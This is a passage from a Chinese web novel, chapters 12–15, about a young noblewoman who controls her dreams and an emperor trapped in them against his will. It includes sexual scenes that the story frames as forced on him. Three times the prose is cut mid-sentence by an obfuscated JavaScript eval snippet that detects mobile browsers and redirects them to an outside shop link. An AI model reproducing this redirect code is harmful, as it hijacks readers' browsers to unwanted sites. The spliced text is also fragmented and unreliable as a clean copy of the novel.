赵金德想了想,到底没再坚持,只将她二人送上马车。
京中城内道路平整,马车行得又快又稳。
想到今天的经历,寄瑶莫名心累。
一旁的双喜欲言又止,过得好一会儿,才犹豫着问:“姑娘,你觉得那位陆公子怎么样?”
“什么?”寄瑶一呆,慢吞吞道,“挺好的啊。”
话不多,但挺仗义。
双喜还想再深一步问,又不好开口,只自言自语道:“也不知道他有没有婚配……”
整个海棠院,就数她最操心二姑娘的亲事。
她没直接挑明,寄瑶就只当没听懂。至于那位陆公子有没有婚配,她更是不去考虑。
一则她的亲事由祖父做主,二则她现在对自己的梦还挺满意。
其他的,不急。
……
这几天忙着准备寿礼,寄瑶几乎到了废寝忘食的地步,没有刻意控梦。如今事情基本完成,她有心在梦里放纵一下。
是夜,寄瑶早早放下床帐。
不多时,她就迷迷糊糊进入了梦中。
梦里,她在房中小憩,身侧似乎躺了个人。
一转头,郎君霍然睁开了眼睛。
寄瑶冲他笑了笑。
却见郎君快速起身,掀开床帐,径直向外走去。
寄瑶轻“咦”了一声,有些意外。
她内心深处是想让他出去的吗?
不应该啊,至少得先亲一下吧。
12. 试探
再一次察觉自己深陷怪梦时,秦渊并不多意外。
试了试,发现能自由活动。秦渊毫不犹豫,起身便向室外走去。
谁知刚走几步,他就突然失去了对这个梦的控制。不得不回转过身,快步行至床畔,低下头,在女子额头落下一个温柔的吻。
寄瑶仰头,亲了亲他的脸颊,又与他额头相抵。
两人肌肤相贴,耳鬓厮磨,甚是亲密。
这无疑是一幅美好的画面,但秦渊心内却不似表面这般温情和煦,反而涌起一股夹杂着无力的怒意。
又来了。
这桃花阵是走不出去了吗?
前两日,秦渊召了太医为他诊平安脉,确定他身体无碍。显然梦中情事并没有对他造成任何不良影响。
他完全可以只将那当做是一场春梦。
但他到底是不甘心。
习惯了掌控一切的人一点都不喜欢这种清醒的、身不由己的梦。
他迫切地想改变这一切。
寄瑶并不知道他所思所想。
只是在两人额头抵着额头时,她心里模模糊糊闪过一个念头:方才郎君一睁眼,就匆匆出去,这举动完全出乎她的意料。如果她不刻意控制,那他原本是打算做些什么?
这念头冒出来得有点突然,但生出之后,就萦绕在她心头,挥散不去。
好像上次的梦里,他就有点奇怪。
郎君不同于父母,是她幻想出来的人。她好奇,自己内心深处究竟是怎么想的。
寄瑶用手臂撑着床,缓缓直起身。
伴随着她的动作,如云的墨发倾泻下来,为她增添了几分柔美。
她微微偏着头,好奇地问:“郎君方才急着出去,是想做什么呀?”
问出这句话之后,她什么也不想,只认真地看着他,静等他的答案。
秦渊讶然。
他原本以为,自己会和之前一样,言不由衷地说出一些取悦她的话。但奇怪的是,现下他并未开口出声。
所以,这是又能控梦了?
“去书房。”意识到这一点后,秦渊随意给了个回答。他当然不会说自己想走出这桃花阵。
——上次梦境中功亏一篑,这次总要再试一试。
寄瑶“噗嗤”一声笑了,眼睛弯成了月牙状:“郎君是要考科举吗?”
对方言笑盈盈,目前没有做出不当之举。秦渊也就暂时压下种种情绪,只回答一句:“不考。”
他眉目清冷,脸上不见多少笑意。寄瑶也不恼,只莞尔一笑。
方家读书风气浓,郎君一起床就往书房跑。如此勤学,暗合她的内心。
寄瑶不疑有他,只撒娇道:“那我也要去。”
秦渊目光微凝,视线落在她白皙纤细的脖颈上,一言不发。
“你看你的书,我不吵你,真的。”寄瑶一本正经地保证。
秦渊垂眸,也不说话,直接向外走。
寄瑶眨了眨眼睛,有些不解。但她没有阻拦,也不刻意控制,只任其自由行动。
——她有心想看一看,她不刻意控梦的话,梦里的郎君会做些什么。
这一次,秦渊一路顺畅。
但奇怪的是,不论他怎么走,都只能在这附近区域:房间、庭院、桃林、偏厅。
如此一来,秦渊心里有了个猜测:如果没有那个女子带领,他无法离开此地。
或者说,怪梦种种,都是围绕那个女子而生。
她到底是谁?
名字不清楚,脸也记不住。
为什么碰上她,连控梦都能失灵?明明他已经能自由控制别的梦……
“你不是要去书房吗?”女子的声音忽的在身后响起。
秦渊回头,果真看见了她。
寄瑶轻轻叹一口气:“是不知道书房在哪里吗?我带你过去。”
海棠院只有一个书房,是寄瑶的父亲生前读书的地方。她平时很少进去,更不想让旁人踏足。
梦里也不行。
于是寄瑶认真凝神,须臾间,桃林里面凭空多出了一间书房。
这书房参考了父亲、祖父的书房布局,以及白天见到的书肆,宽敞明亮,书籍众多。甚至墙上还挂着几幅装裱好的山水画。
“呶,就是这儿了。”
秦渊不说话,只深深地看了她一眼,推门而入。
梦中诡异的地方太多,面对骤然出现的书房,秦渊心内已掀不起多少波澜。
他目光逡巡,扫视书柜陈列的书,俱是常见的经典书籍,没什么稀奇。
然而不经意间,眼角的余光掠过墙上挂着的画,秦渊脑海里忽的浮现出一个想法:
既然一错眼就记不住她的脸,那能不能盯着她的脸,一点一点将她的面貌画出来?
只要记住她的画像,清醒后再画下来。只要她存在于这个世上,以他的势力和能力,定能查出她的来历。
届时要对付她,应该容易许多。
思及此,秦渊开口:“我想给你画一幅画。”
“给我吗?”寄瑶的双目因讶异而圆睁。心想,难道是她这几天给祖父作画,所以内心深处也希望有人给自己画?
合理,非常合理。
“嗯。”
寄瑶含笑点头:“好呀,你想画什么?”
“画你。”
寄瑶愣怔一瞬,脸上笑容更盛:“好呀好呀,那你画,我给你研墨。”
她兴致极高,为了方便研墨,还特意将袖子高高挽起,露出一截白皙的手腕,以及腕上悬挂着的一只绞丝银镯。
秦渊目光微闪,倏地移开视线。
简单清洁砚面后,寄瑶小心往砚堂注入少量清水,又取来墨锭,开始磨墨。
与此同时,秦渊铺好了作画用的纸。
见他备好纸笔,寄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077407|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瑶有点着急,也没了慢慢研墨的耐心。心思一转,砚台里已有了暂时够用的墨汁。
“好了,你先用。”
秦渊也不细想其中异常,提笔、蘸墨,低头勾勒。
这几年大权在握,说一不二,差点忘了他当初也是能屈能伸、极善隐忍之人。
秦渊此时有心留下画像,就专心作画,不想其他。
身形好画,只寥寥几笔,就能画出一个窈窕女子,但面容却不好落笔。
秦渊不擅丹青,更何况是这种像中了幻术一般记不住脸的。
起初,他看一眼画一下,但很快就以失败告终。
——明明记得牢牢的,知道她长眉弯弯,好似远山。但一提笔就忘了她眉毛的“山尖”究竟在何方位。没奈何,他只能一边盯着她的面容,一边落笔。
偏生她离他很近,就站在他身侧,周身清淡的香气压下了松烟墨的气味,手腕上的绞丝银镯一晃一晃。
有些刺眼。
秦渊心内的燥意越来越浓。
寄瑶也有点心不在焉。以前常听人说“红袖添香”,原以为是件十分风雅有趣的事情。可她现在感觉这也没什么意思啊。
怪无聊的。
“你坐到对面去。”郎君忽然开口。
“嗯?”寄瑶一呆,“对面?哦,好。”
她想,多半是坐在对面好作画。是她疏忽了,站在他旁边确实有点不方便。
寄瑶搬来一个绣墩,就近坐在书桌对面,双手托腮,认真看郎君作画。
至于墨汁,也不一定非要她动手研磨。她只要想一想,砚台里就有正好够用的墨。
只是郎君这画技,似乎不是很好。而且他作画也太慢了一些。
照着她画也这么难吗?
这么久居然只画了眉毛。
唔,到眼睛了。
秦渊也不低头,眼睛直直地盯着她,手中的笔却在动。
这怎么行?寄瑶生怕他乱画,把自己画成丑八怪,忙身子前倾,凑过去看画。
她刚一低头,秦渊就失去参照,瞬间忘记了她的眼睛细节。他心里一沉,想也不想,伸出左手托住她下巴,强行让她抬头。
下颌骤然被一只温热的大手握住,痒痒的。寄瑶心里突然生出一些坏主意。
记得那个册子的第二页,就是一对男女在书房,或许可以趁机试一试?
本来她近日辛苦,就是想在梦里放纵一下的。
陪着他玩红袖添香好一会儿,也该做点别的了。
那册子上是怎么写的来着?她记得画面旁边是有小字注释的。
寄瑶想了想,偏一偏头,脸颊在郎君手背上轻轻蹭了蹭,小猫一般。
秦渊一怔。
而寄瑶心思一转间,足上鞋袜已不见。她仍坐在绣墩上,白生生的右脚却有些生涩地伸向郎君在书桌下的腿。
秦渊表情一滞。
13. 书房
“郎君……”寄瑶声音轻软,像是能掐出水来,脸颊酡红,眼眸晶亮。
而秦渊,面色难看极了。
他下意识偏腿避开,寄瑶也不恼,而是用柔软的手抚上了他的脸庞,衣袖间还带着淡淡的香风。
这次梦境,秦渊在能控梦的情况下隐忍许久,只为留下画像,不想却被强行打断。还是用这样拙劣的勾引手段。
他的耐心逐渐告罄,左手倏地下移,落在了女子纤细的脖颈上,并试图加大力道。
但几乎是在瞬息之间,秦渊就发现自己又失去了对梦境的控制。
——寄瑶脖子敏感,怕人碰触。即便是在梦里,也会不自觉地防御,下意识叫停。
“你别碰我脖子。”寄瑶有些不满地嘟囔,“我和你说过的,你忘啦?”
秦渊手上不受控地卸力,隐隐约约意识到这怪梦的第二个规则:他好像无法在这怪梦里伤害到她。
寄瑶感觉自己可能语气有点重,含笑凑过去,安抚性地亲一亲他的鼻尖,颇为大方:“不过,你可以亲那里。”
郎君的手从她脖子移开后,寄瑶就没再刻意控梦。她想有点新鲜刺激的、意料之外的体验。
然而,郎君一动不动。
不管是她轻轻蹭他腿,还是语言的暗示,他都没有册子上写的那些反应。
没抱她,没亲她,更没有将她放在腿上。
寄瑶有点不高兴。
怎么回事?
难道她内心深处竟然希望他是一根木头吗?
不应该啊。
或者是她想看他在她的撩拨下,一点点沉沦?
这么一想,寄瑶又有了点兴致。她干脆靠过去,侧坐在桌上。又学着册子上写的,朝他耳朵轻轻吹气,还恶作剧一般轻轻咬了咬他的耳垂。
女子温热的气息拂过耳际,秦渊只觉“嗡”的一声,身体一颤,全身的血液似乎都涌到了一处。他想也不想,一把将女子推开。
下一瞬,他后知后觉意识到自己又恢复了对梦的控制。
但也仅仅只是一瞬。
他推开她时,用的力道不小。寄瑶原本就是虚虚侧坐,毫无防备,差一点被他推倒在书桌上。
她不免有些气恼,心想:不对不对,她这般主动,他应该抱抱她,亲亲她,应该很高兴,很受宠若惊才对。
大概就和那册子上的第二页差不多。
算了,不折腾了,按照她的心思来吧。
寄瑶这念头一起,秦渊就发觉自己又不能控梦了。
他伸臂抱住了她,声音极轻,仿若呢喃:“乖宝,乖宝……”
低下头,密密麻麻的吻落了下去,从她额头一直到唇畔,同时手掌紧紧箍住女子的纤腰,将她从书桌上腾地抱起,在她的一声短促低呼中,把她放在了自己腿上。
不知道从什么时候起,秦渊发觉自己身下的椅子变了,变成了一张宽敞的逍遥椅。
而原本干净的桌面上突然多出一本册子,正打开到第二页。
春末夏初,衣衫轻薄。
两具年轻的身体紧紧贴在一处,隔着薄薄的衣裳,能清楚地感受到彼此的体温。
秦渊心里暗骂,对于接下来要发生什么心知肚明。
他一点都不期待,但身体不受他控制,各种反应也异常激烈。
……
逍遥椅咯吱咯吱地晃动。
寄瑶以前在梦中骑过天马,可这次明显又不一样。
不能飞,也不在云端,甚至还有点累。可身体被填满,人仿佛在半空中,低头就能看见郎君英俊的脸。这对她而言,无疑是一种前所未有的畅美、刺激。
还不到一刻钟,寄瑶就感觉脑海一片空白,哆嗦着瘫软在郎君胸前。
可能因为太过刺激,她硬生生结束了梦境。
……
紫宸宫内殿。
秦渊又一次从梦中醒来。他深吸一口气,心里连骂数声混账,想杀人的心更强烈了。
刚才的梦里,他被那女子摆弄不说,还弄得这般不上不下。
借着内殿光亮,秦渊低头看一眼身下,掀被下床,直奔净室而去。
过得许久,才觉得畅快了一些。
先前秦渊恼恨自己被迫在梦中幸人,现在忽然意识到:他想错了,什么幸人?分明是他在梦里被迫帮别人纾解。
很明显那个女子只是为了她自己快活。
秦渊心中暗恨。不管她到底是什么来历,总有一天,她会落在他手上。
他绝不会放过她。
……
今夜紫宸宫当值的是皇帝的心腹太监常守安。
见皇帝在净室待得久,隐隐能听到一两声压抑的声音。常守安虽然是净了身的内侍,但从前伺候过先帝,大概知道里面是怎么一回事。
常守安大气也不敢出,待皇帝从净室出来,他才小声而恭敬地请示:“陛下可要备水?”
“备水。”
常守安忙令人准备。
沐浴过后,秦渊心内戾气稍减。
他有心想召云鹤道人进宫再问一问,又觉得那老道恐怕本事不济,所授的“控梦”之法也时灵时不灵。而且梦中细节,实在难以对人言说。遂打消此念头。
……
寄瑶躺在床上,感觉自己像是一条被扔到岸上的鱼。
身体酸软,毫无力气。
她大口大口地喘息,脸颊烫得厉害。
过得好一会儿,寄瑶才悄悄起身,换下贴身衣物,又连饮了两盏冷茶。
冷茶入腹,脸上不正常的热度稍稍退下了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077408|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些。
寄瑶重新躺在床上,梦中场景不受控制地浮现在她脑海。她抬手捂住了脸颊,莫名地心虚。
她梦里是不是太胆大了一些?
但下一刻,她就又告诉自己,没关系,没关系,做梦而已,不会有人知道的,梦里不大胆什么时候大胆?
不过细想起来,是真的很刺激。
那册子也不全都是骗人。
夜静悄悄的,沙漏里的沙子一点点流下。不知道过了多久,寄瑶才又睡了过去。
这回就简单多了。
再睁眼,就是天亮。
和往常一样,寄瑶洗漱过后,简单用了早饭,就前往女学。
等她到时,四妹妹品瑶和五妹妹千瑶已经在那儿有一会儿了。
方家堂姐妹六人,老四和老五最为特殊。——她们是一对双胞胎,生的一模一样,打扮也一模一样,每日同进同出。
“二姐姐昨天出门了?”品瑶突然问。
——这不是寄瑶看出来的,而是听出来的。孪生姐妹二人容貌虽像,但声音有明显差异。
“嗯,出去了。”寄瑶有点意外。因为这两姐妹素日自成一体,和别的姐妹不太亲近,很少主动搭话。
“是去给祖父准备寿礼吗?”品瑶又问。
寄瑶点了点头:“是的。”
“准备的什么呀?我们不会准备了一样的吧?”品瑶继续追问。
寄瑶笑了笑,也不瞒她:“我画了一幅画,昨天送出去装裱。应该不一样吧?”
“嗯。”品瑶松一口气,“是不一样,我和妹妹共同准备了一架绣屏。”
方家不需要女眷做针线谋生,但几个姑娘都学过女红。其中千瑶的绣功尤其出色。这两人合力绣屏风,肯定很好。
寄瑶笑道:“那很好呀,你们绣功好,又是一片孝心,祖父肯定喜欢。”
品瑶只笑了一笑,没有再说话。
倒是寄瑶,因堂妹这一番询问,提到了画,思绪不禁有点飘。
她一时想到昨日出门的种种情形,一时想到昨晚梦中作画的场景,脸上忽白忽红,直到女夫子进来,寄瑶才强行压下不合时宜的思绪,专心看书。
……
入夜后,一场小雨倏然而至。
用罢晚膳,寄瑶让双喜多点了一盏灯。她则取出前些天祖父给的棋谱,慢慢琢磨。
这里面一些路子她从前不曾见过,须得好好研究。
刚看一会儿,外面就传来一阵喧闹声。
“姑娘,三姑娘来了!”
双喜话音刚落,就见三姑娘知瑶披着蓑衣,带着满身水汽,摇摇摆摆走了进来:“二姐姐!”
寄瑶一怔,立时站起身:“三妹妹,你怎么来了?”
外面不是还下着雨吗?
14. 美人
“想你了,就来了呀。”知瑶嘻嘻一笑,解下蓑衣,递给一旁的双喜,“二姐姐在干什么呢?”
“看棋谱。”寄瑶如实回答。
她不太相信堂妹的说辞,她们同在女学,几乎天天见面,有什么可想的?
肯定是有要事,才会入夜后冒雨而至。
偏生三姑娘好像真的只是想念姐姐了一样,也不再提来意,几步行至寄瑶身边,拿起棋谱翻了翻,又悻悻放下:“有点难,也难为你能看进去。”
寄瑶笑笑,她知道这个堂妹活泼好动,平时一见字多就嚷着头疼,更别说看棋谱了。
谁知三妹妹竟还主动提出要陪她对弈。
“真的?”寄瑶有点不信。
三姑娘下巴轻抬:“当然是真的,我什么时候说过假话?二姐姐,实话告诉你吧,我最近棋艺大涨。只怕在你之上呢。”
“行,那我们试试。”寄瑶取出棋具。
可惜,三姑娘的棋艺没有像她说的那样突飞猛进,反而不一会儿就连输三局。
她不服输:“再来!”
寄瑶不想让堂妹输得太难看,就悄悄让棋。这种事情不好做得太明显,她干脆佯装大意,输了两局。
“二姐姐是不是让我?”三姑娘问。
寄瑶摇头:“没有,是我大意了。而且三妹妹出其不意……”
三姑娘眼珠子一转,慢吞吞道:“二姐姐,你知不知道你有个习惯?”
“什么习惯?”寄瑶好奇。
“你说谎的时候,眼睛眨得特别快。”
寄瑶顿时呆住。
有吗?她还真没留意。
却见三妹妹直接笑出了声:“哈哈哈,逗你的。”
寄瑶:“……”
天色渐晚,姐妹俩笑闹一会儿,三姑娘才吞吞吐吐说出了自己的来意:“二姐姐,其实我来找你,是,是怕你生我的气。”
“嗯?”寄瑶讶然,正在收拢棋子的动作稍稍停顿,“好端端的,你为什么会这么想?”
这几天两人之间并没有发生任何不快。
三姑娘很不好意思:“因为亲事啦。我是妹妹,先你定了亲也就算了,那温家又……”
——长幼有序,她却先定亲。不知道外边人知道了会怎么样,会不会觉得是二姐姐不好才被略过?这会不会影响二姐姐以后的亲事?
而且温家的事虽说和她无关,可归根结底,是温家父母重视她而轻视二姐姐。都是一样的姐妹,这般区别对待,她怕二姐姐心里不痛快。思来想去,她最终决定把事情说开。
一则自己心里好受些,二则也不想因为外人而影响自家姐妹的感情。
“我没有生你的气。”寄瑶认真道,“你又没做错事。”
“真不生我气?”
“真的。”寄瑶想了想,又道,“婚事是长辈定的,自有他们的考量。至于温家,是他们不好,不是咱们不好。我要是因为这个生气,那成什么人了?”
而且她心里很清楚,生气是这世上最无用的事情。再说,即便生气,也不该是对着三妹。
见姐姐神色诚恳,三姑娘悬着的心终于放下,抱住她的肩头:“我就知道,二姐姐和我最好了。”
寄瑶笑了笑,心想,这话倒也不假。相较其他姐妹,两人因为年纪相仿,确实走得更近一些。
知瑶拉住堂姐的手撒娇:“太晚了,我今晚不回去了,和你一起睡,好不好?”
外边雨还在下,寄瑶也有意让堂妹留宿,当即点一点头,吩咐双喜另抱一床被褥,又取出自己干净的寝衣。
姐妹俩从前没有同寝过,如今难得睡在一起,都有些兴奋。
尤其是三姑娘知瑶,她解决了一桩心事,心情甚好,躺在床上,叽叽咕咕说个不停,俱是一些小女孩的心思。
她一时抱怨母亲偏心,一时说起学堂的夫子严厉……
寄瑶安静听着,心里隐隐有些羡慕。她也不多话,只偶尔应和一两声。
不知不觉中,寄瑶倦意渐浓,慢慢睡去。
身侧睡了一个人,她格外老实,今晚直接放弃控梦,只安心入睡。
三姑娘知瑶却因为新换了个地方,有点睡不着。借着夜色,她偏头看向身旁的堂姐,心里有些不是滋味。
二姐姐美丽娴雅,身姿窈窕,是家里六姐妹中最好看的。性格也好,温柔安静,不争不抢。姐妹们平时但凡有所求,都会尽力相帮。
可惜父母缘分着实浅了一些。但愿二姐姐将来在婚事上,不要比她和大姐姐差太多。
……
常守安是宫里的老人了。
先帝在时,他就在御前伺候。后来又伺候当今皇帝,十余年间虽无甚功劳,但也无大差错。
这日,太皇太后令人将常守安叫到了寿康宫,照例关切询问皇帝近况。
——三年前,一场宫变之后,皇帝的生母王太后被送到行宫静养。如今在皇宫里,除了皇帝,就只剩太皇太后白氏这一个正经的主子。太皇太后年事已高,平时不大管事,唯一还挂心的就是皇帝了。
“回太皇太后,陛下一切都好。”想到皇帝近来的异常,鬼使神差的,常守安又补充一句,“只是,可能近来火气稍大一些。”
闻言,太皇太后皱了眉:“火气大,就让御膳房多做一些清火的膳食。唔,太医院那边也让他们煎一些降火的汤药。肯定是朝廷事情多,让他烦心。”
常守安忙道:“不是这种火……”
“嗯?那是什么?”
常守安犹豫了一下,咬一咬牙,硬着头皮道:“是,是陛下后宫空虚。”
论理这话不该他说。但他作为皇帝身边近侍,深受主子信任,想着不管是为龙体,还是为皇嗣,都不能装作不知道。
偏生又不敢直接向皇帝建议,如今太皇太后问起,索性委婉禀告。
太皇太后一惊,静默了一会儿:“哀家知道了,你先回去吧。”
“是。”常守安施礼退下。
太皇太后心里久久不能平静。
她是先帝嫡母,并非皇帝的亲祖母,两人只占了一个祖孙的名头。当初景王摄政时,她凭借自己在后宫的影响,暗地里护了秦渊两次。
后来秦渊大权在握,对她十分礼遇。太皇太后也聪明,对朝中大事从不插手,只安心荣养,时不时地再表达一下对皇帝的关心。
祖孙相处倒还算得上融洽。
现在这情况,太皇太后觉得,她大概需要做点什么。
……
是夜。
秦渊一回到紫宸宫,就发现了异常。——内殿里多出了几个人和一些脂粉气息。
见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077409|195268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陛下驾到,四个年轻宫女连忙上前,齐齐施礼:“奴婢参见陛下。”
这四人或高或矮,或胖或瘦,虽风格各异,却有两个共同点,一是姿容甚好,二是衣饰妖娆。
秦渊却拧了眉:“谁派你们来的?”
年轻的天子积威甚重,他一开口,四个宫女立刻跪伏于地:“启禀陛下,奴婢们是奉太皇太后之命前来侍奉……”
“太皇太后?”秦渊哂笑,太皇太后久不管事,突然心血来潮连个招呼都不打,往他这儿塞人?
而且还是这种打扮,什么用意显而易见。
他在梦里被迫和女人纠缠,现实中还要被一下子塞四个女人?
秦渊眸色转冷:“常守安呢?”
此刻,常守安正在教干儿子怎样沏出皇帝爱喝的茶,听见动静,快速趋步近前:“陛下……”
“怎么回事?”秦渊面容沉静,语气也听不出喜怒。
常守安心里咯噔一下。
他在皇帝身边多年,知道这绝不是高兴的样子。
常守安不敢撒谎,当下缩着脑袋,如同鹌鹑一般,老老实实回答:“回陛下,是老奴今日在寿康宫,提到陛下近来有些火大,暗自猜测或许是因为后宫空虚。太皇太后心疼陛下,就……”
皇帝微微眯了眯眼睛,目光锐利,落在他脸上:“朕竟不知道,这宫里谁才是你的主子。”
这话说得颇重,常守安噗通一声跪倒在地:“陛下,老奴知错,老奴绝无此意!老奴是看陛下近来……”
“这些人,从哪来的,送回哪儿去。至于你……”秦渊打断常守安的话,视线在他身上停留了数息,“以后不用在御前伺候了,去太皇太后身边当差吧。”
常守安一惊:“陛下!老奴知错了,陛下。请陛下恕罪!”
太皇太后固然地位尊崇,可那寿康宫几乎就是个养老的所在,在那里当差,哪能跟在御前比?
但他深知皇帝做了决定后,无人能改,只能勉强自我安慰:陛下只是将他调往别处,说不定以后还能有回来的机会。
常守安心中满是懊悔,暗恨自己一时糊涂,擅自做主。他不敢在这个关头继续争辩,只得先领着那四个宫女前往寿康宫复命。
此时,太皇太后还未就寝。
刚卸了首饰,突然听到这消息,太皇太后疑心自己听错了,愣怔了好一会儿:“全退回来了?”
“是的。”
“一个都没留?”
太皇太后不信,那四个宫女可都是她精挑细选出来的,俱是难得一见的美人。她虽然年纪大了,可眼光一直不差。那常守安不是说皇帝……
宫人回答:“是的,一个都没留。而且连常公公也给打发到寿康宫来了。”
太皇太后静默良久,才道:“知道了,好生安置她们,给常公公也先安排个住处。”
老太太心下明了:皇帝对她送美人这一举动很不满。
不过没打没杀,仅仅把人给退回来,说明还是给她留了些体面的。
只是太皇太后实在是想不明白,问题到底出在哪里:皇帝年轻力壮、血气方刚的,怎么会拒绝美人?就算暂时不收用,摆在那里也好看啊。
若说是有隐疾,可听常公公话里的意思,分明又不是。
太皇太后想不通,重重叹一口气。
15.克制
这件事没有在宫里掀起多大的波澜。
皇帝乾纲独断,已是所有人的共识。只是谁也没想到他居然连太皇太后的面子也不给。
紫宸宫内静悄悄的,几个内侍垂手而立。
出浴后,秦渊似乎仍能嗅到殿内残留的脂粉气,只觉一阵心烦。
他凤眸微眯,冷声吩咐:“来人,把窗户打开。”
内监连忙听令照做。
微凉的夜风吹进来,殿内气息瞬间清爽了许多。
秦渊阖了阖眼睛。
他不喜欢脂粉气,也不喜欢桃花香。
——后者是最近新加的。
可能上天听到了他的心声。是夜,秦渊没再梦见那片桃林。
一夜好眠,直至天亮。
……
这一夜,寄瑶同样睡得不错。
不过因为和堂妹夜话太久的缘故,两人睡得迟。次日清早,姐妹俩双双睡过头。还是双喜把她们叫醒的。
睁开眼,见到帐外的光亮,姐妹俩俱是一惊,连忙起床洗漱。
一大早,三房那边送来了三姑娘要穿的衣裳、书袋等物。
姐妹二人匆匆忙忙收拾好,勉强用一些早膳,就直奔女学而去。
一路疾行。
两人坐下后,女夫子才不紧不慢走了进来。
姐妹二人对视一眼,均微微一笑,又默契地同时移开了视线。
真好。
方家姑娘们每日的生活简单而充实。
不知不觉中,又是一天过去了。
晚间,寄瑶再次拿出昨夜未看完的棋谱,慢慢琢磨。直到将近亥时才去休息。
躺在床上,寄瑶思绪翩飞。
她一会儿想着祖父的寿辰,一会儿想到自己准备的寿礼,一会儿又想到那本《枕间风月图》……
不知不觉中,她又进入了梦乡。
如今已是四月,桃花落尽。但梦中仍是桃花灼灼。
可能因为睡前看棋谱看得太入神,梦里寄瑶也在下棋。
和她对弈的不是旁人,正是那个她极为中意的郎君。
看见他,寄瑶不禁想起上个梦里的一些情形,有些脸红耳热。
同时又有几分心虚懊恼。
寄瑶记得上个梦里,原本她打算不刻意控制,想任其自由发展的,可最后还是忍不住又控梦了。
算了,过去的事就过去了。
反正这是她的梦,她说了算。而且上次那个梦实在是刺激。
这么一想,寄瑶心里自在许多,还隐隐生出一些难言的期待。她低头看一眼棋盘,见两人与其说是在下棋,不如说是在原样照搬棋谱。
对于一眼就能看出结果的棋局,寄瑶有点兴致缺缺。
抬眸看着面前的郎君,她蓦的心中一动,按住他正要落子的手,慢吞吞道:“我不想下棋了。郎君,我们做点别的吧?”
——自从看到那本秘戏图后,寄瑶在梦中尝试过两次风月之事,都觉得刺激畅快。尤其是上一次。如今正是她好奇心最重、兴趣最浓的时候。
像是一个刚获得新玩具的孩子,她想快一些了解更多的玩法。
偏生郎君不解风情:“什么别的?”
寄瑶偏头看着他,眼波流转:“你说呢?”
真是的,难道这种事还要她亲口说出来么?
……
秦渊睡得迟。
他甚至不知道自己是什么时候睡着的,迷迷糊糊中,仿佛又闻到了若有若无的香气。略一定神,发现自己竟又置身于那片桃林了。
他的手被人按在棋盘上,对面的女子眉眼含笑,眸泛桃花:“你说呢?”
秦渊记不住她的面容,但看她眉眼生动,又听见她熟悉的声音,立时反应过来这是谁。
也很确定自己又进入了那个怪梦。
上次的梦境霎时间浮上脑海,秦渊脸色微沉,眸中也凝起了冰霜。
又来了。
发觉自己现下能动,秦渊想也不想,立刻抽出手,站起了身:“说什么?”
寄瑶微微一怔:怎么回事儿?
这走向不对啊。
但很快,她就反应过来:可能她内心深处又觉得这梦太平淡无聊了,想让它更曲折、更刺激一些吧。
若在平时,寄瑶也乐意像编故事一样,让梦里多一些细节。但现在,她有更感兴趣的事。不想在这点小事上浪费精力。
于是寄瑶不说话,只定定地看着郎君,心里默念:他知道的。他不但知道,他还会很开心地把她抱进房间,共同研究风月。
果然,她这么一想,郎君就轻叹一声,有些宠溺,又有些无奈:“你啊,真拿你没办法。”
——秦渊几乎是在一瞬间发现又不能自控了。
他不知道这一切发生的契机,只能身不由己地近前几步,低头将女子打横抱起。
像是抱着一件稀世珍宝,秦渊稳稳抱着她,快步向房间走去。
随后,他将她小心放在床上,并闩上了门。
外边的天不知道什么时候变黑的。
室内亮着几盏灯,昏黄的灯光倾泻下来,给一切都添了一层朦胧的光晕。
温馨之余,更生几分暧昧。
寄瑶从绣着鸳鸯的枕头下摸出那本薄薄的册子,冲他招一招手。
秦渊眼皮一跳,只看封面,他就知道那是什么。
他对这东西毫无兴趣,甚至还有几分厌恶抵触。
但现在他的控梦之法不管用,说话行事都不由他控制。他不得不坐在她身侧,陪着她一起看那图册。并任由她一张一张的,翻到了第三页。
“这个。”寄瑶指着图画,抬眸看向他,跃跃欲试,“这个怎么样?”
前两个试过感觉不错,第三个应该也还好?
秦渊额角突突直跳,所以她是要照着册子,一张一张来?
尽管那云鹤道人声称,他是九五之尊,炁场周正,身边无鬼无妖。可秦渊还是不由自主地将这个女子与传说中的“桃花妖”、“狐狸精”、“好色女鬼”……联系在一起。
若她是宫女或者其他人,他大可以令人直接将她丢出去。
可现在,他点一点头,十分赞同,语调暧昧:“我也
